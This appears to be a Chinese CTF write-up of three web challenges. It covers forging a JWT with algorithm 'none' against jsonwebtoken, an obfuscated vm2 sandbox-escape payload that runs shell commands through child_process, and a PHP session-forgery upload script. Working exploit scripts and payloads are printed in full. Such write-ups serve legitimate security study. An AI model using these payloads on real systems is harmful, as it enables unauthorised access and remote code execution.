easy_login
题目说明:
最近正在开始学习nodejs开发,不如先写个登陆界面练练手。什么,大佬说我的程序有bug?我写的代码逻辑完美顺利运行怎么可能出错?!错的一定是我的依赖库!!
提示说题目依赖库存在问题。
打开是个登录框
尝试注册admin用户,按提示来看应该已经有admin用户了,需要登录admin账号获取flag
查看源码
是登录注册等功能的一些函数,顶部有提示(比赛的时候就卡在这了。。。真的捞),提示的意思是static 是直接映射到程序根目录的,引发任意文件读取漏洞,可以获取程序源代码。
读取常见主文件app.js
分析上面的源码,再看到其功能点的文件/controllers/api.js,获取flag必须admin
注册功能
username 不为空且不是 admin,然后生成一个 secrets,存入全局数组 根据{secretid, username, password}, secret, {algorithm: ‘HS256’},生成一个 jwt 令牌。
登录功能
接受传入的 username 和 password,然后从令牌的信息段中取secret的 id,从程序中的全局数组取出secret,然后进行验证,验证使用 RS256 算法签发的 JWT,需要在文件系统上读取公钥文件里的内容。然后用 jwt 的 verify 方法去做验证。验证通过之后置 session 中的 username 为登录时使用的 username。
解释这里的secret和secretid。secretId, 门牌号。secretKey, 锁(服务端知道)和钥匙(客户端知道),就好像是API 层面的帐号和密码。
注册登陆都采用jwt认证,但是jwt的实现很奇怪,逻辑大概是,注册的时候会给每个用户生成一个单独的secret_token作为jwt的密钥,通过后端的一个全局列表来存储,登录的时候,单独解密jwt的第二部分获取用户传过来的id,这个id就是全局列表的键,通过id取出对应的secret_token再来解密用户传进来的jwt,如果解密成功就算登陆成功。
下面可以利用 node 的 jsonwebtoken 库的已知缺陷:当 jwt secret 为空时,jsonwebtoken 会采用 algorithm none 进行解密
弱类型语言中空数组,空字符串与数字比较永远为真。sid中限制不能为 undefined,null利用这个特性绕过。
登录admin之后直接在输入框里输入get /api/flag就行
附上官方wp给出的脚本
import jwt
import requests
base_url = "http://0.0.0.0:10087" # 题目地址
s = requests.Session()
res = s.post(base_url+'/api/register', data={"username": "hhh", "password": "hhh"})
token = jwt.encode({"secretid":0.333,"username":"admin","password":"admin"},algorithm="none",key="").decode('utf-8') #伪造token
res = s.post(base_url+'/api/login', data={"username": "admin", "password": "admin", "authorization": token})
res = s.get(base_url+'/api/flag')
print(res.text)
运行前安装jwt PyJWT库
just_escape
打开下面的/run.php?code= (2%2b6-7)/3看一下
对code这个参数进行测试
按出题人的提示,和上一题 感觉可能是node.js
F12大法 ,可以看到服务器是Express
比赛的时候到这就懵了
?code=Error().stack 根据报错信息发现是 vm2(用每种语言产生异常的代码 fuzz 一下)
https://github.com/patriksimek/vm2/issues/225 github vm2 的仓库搜索可得 vm2 最新沙盒逃逸 poc
主要是这段代码:
(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()'
直接丢进去,有个 waf果然没那么好白嫖
Fuzz得知拦截了[‘for’, ‘while’, ‘process’, ‘exec’, ‘eval’, ‘constructor’, ‘prototype’, ‘Function’, ‘+’, ‘"’,’’’]关键字
1.反引号来把文本括起来作为字符串(代替单双引号)
2.模板字符串嵌套来拼接要用到的被过滤的字符(代替加号)
具体可以看https://www.zhaoj.in/read-6512.html
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/template_strings
型如 ${
${prototyp
}e}
最终的payload:
?code=(function%20(){TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`]%20=%20f=%3Ef[`${`${`constructo`}r`}`](`${`${`return%20this.proces`}s`}`)();try{Object.preventExtensions(Buffer.from(``)).a%20=%201;}catch(e){return%20e[`${`${`get_proces`}s`}`](()=%3E{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();}})()
babyupload
打开就送源代码
<?php
//将 session 的目录设置为 /var/babyctf/,并且启动 session,同时引入 /flag
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
//如果 session 中 username 为 admin,并且 /var/babyctf/success.txt 存在,就 删除success.txt,并打印出 flag。
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
//如果 session 中 username 为guest,从POST获取相关参数,并用filter_input进行过滤,direction(upload/download)操作,attr 拼接在 /var/babyctf 路径后赋值给$dir_path,如果 attr 为 private 继续把session中的用户名继续拼接在后面。
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
//上传文件的 field 为 up_file,把文件名拼接在后面,同时加上下划线和这个文件内容的 sha256 摘要值。通过正则过滤路径穿越../这种,最后将文件移动到指定位置。
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
//获取要读取的文件名,拼接路径,通过正则过滤路径穿越,返回文件内容。
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>
即满足session中的user为admin,有一个success.txt 文件就可以获得flag。
伪造session:
利用download读取自己的session
把这个值作为
f
i
l
e
n
a
m
e
前
面
要
加
s
e
s
s
,
参
数
filename 前面要加sess_ ,参数
filename前面要加sess,参数attr为空,$direction为download
发现session内容格式,没有竖线,参考 https://blog.spoock.com/2016/10/16/php-serialize-problem/ 判断其session处理器为php_binary
构造admin的session内容,利用upload的处attr和sha256拼接后缀的规则,进行bypass,往session目录上传的文件名为sess
因为内容是我们自己伪造的所以可以计算出它的摘要值,然后将 Cookie 中的 PHPSESSID 改为这个 sha256 值,伪造session成为admin
创建success.txt
利用attr的截断,将其改为 success.txt,即可去掉拼接的sha256后缀,达成任意文件名控制
可以用php生成对应的session文件,改名后上传。然后计算摘要值。
也可以用官方wp的脚本,改一下url和sess_PHPSESSID一把梭
# coding=utf-8
import requests
from io import BytesIO
import hashlib
target_url = "http://8b0be964-e751-43ac-a6dd-a9ded3c8260b.node3.buuoj.cn/"
def ReadSession():
data = {
'attr':'.',
'direction':'download',
'filename':'sess_d61a88009bc3941cc963337c26e2c540'
}
url = target_url
s = requests.get(url=url)
r = requests.post(url=url,data=data)
print r.content[len(s.content):]
def BeAdmin():
files = {
"up_file": ("sess", BytesIO('\x08usernames:5:"admin";'))
}
data = {
'attr':'.',
'direction':'upload'
}
url = target_url
r = requests.post(url=url,data=data,files=files)
session_id = hashlib.sha256('\x08usernames:5:"admin";').hexdigest()
return session_id
def upload_success():
files = {
"up_file": ("test", BytesIO('good job!'))
}
data = {
'attr':'success.txt',
'direction':'upload'
}
url = target_url
r = requests.post(url=url,data=data,files=files)
print 'Now Guest PHPSESSION Content is:',ReadSession()
print 'PHPSESSID is:',BeAdmin()
print 'Now Upload Success.txt'
print '*'*50
upload_success()
php_session_id = BeAdmin()
cookies = {
'PHPSESSID':php_session_id
}
url = target_url
s = requests.get(url)
r = requests.get(url=url,cookies=cookies)
print 'Now here is your flag!'
print r.content[len(s.content):]
参考:
https://evoa.me/index.php/archives/60/
https://www.jianshu.com/p/2036987a22fb
https://www.freebuf.com/column/234486.html
https://www.zhaoj.in/read-6512.html